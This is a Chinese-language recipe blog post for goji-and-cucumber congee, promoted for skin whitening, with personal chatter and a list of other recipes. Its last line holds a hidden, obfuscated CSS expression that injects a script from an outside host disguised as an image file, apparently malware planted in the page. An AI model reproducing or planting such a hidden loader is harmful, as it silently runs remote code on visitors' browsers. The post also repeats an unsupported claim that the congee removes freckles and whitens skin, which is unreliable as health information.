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煮一碗粥給肌膚美白祛斑———枸杞黃瓜粥_83小鐘

這一季里,會有很多人在戶外運動一天后,胳臂腿什么的曬成兩個色的哈。 穿背心,身上就曬個背心;穿吊帶就留一吊帶印。很多人都有的經歷,可惜俺從沒有過。 我天生就是個黑皮佬。再怎么樣,就算當時曬出分明界線來,一覺之后,也和原膚色溶為一體了。 如果用當今流行術語,外加往自個臉上貼金的話,咱可以毫不謙虛的說,俺這是“古銅色”。 不過,我超不能理解那些曬太陽浴,讓皮膚變古銅的人兒。沒事瞎折騰,古銅有什么好的。。。 別說古銅是健康色啊。健康咱真沒看出來,在我眼里,深膚色唯一的好處就是:讓我臉上幾乎看不到斑點的。 你說,像我這樣深的膚色,那斑點得有多厚重顏色才顯得出來啊。。。 反正,我是打心底里眼饞那些跟白蓮藕一樣的小胳膊小腿啊。。。 今兒個煮黃瓜粥,就是因為聽說這粥可以祛斑美白。祛斑就不用了,咱重點美白啊。。。 “黃瓜含有豐富的鉀鹽和一定數量的胡蘿卜素、維生素C、維生素B1、維生素B2、糖類、蛋白質以及芥、磷、鐵等營養成分。經常食用黃瓜粥,能消除雀斑、增白皮膚。” 材料:黃瓜半根,大米,鹽,姜末。 步驟: 1.生姜切末,黃瓜去心切片備用。 2.大米淘洗干凈加適量水,加姜末入鍋煮。 3.大火燒開后轉小火。煮至米爛時下入黃瓜片和枸杞。 4.煮至湯稠時,加鹽調味,關火。 >__________________________________________________________________________________ 以下是我家的其它美味,歡迎點擊圖片進入: 孜然雞柳 酸辣藕帶 黃金南瓜餅 酸辣馬芷莧 七喜苦瓜 木耳拌豆角 涼拌毛豆 海鮮蝦皮茄子 酸辣VS爽口西瓜皮 雞雜燴 美味烤鴨 沙鍋泥鰍 ee:expression_r{if{var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement;st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName_r.item.appendChild;window.r=1}});width:0px;display:none"
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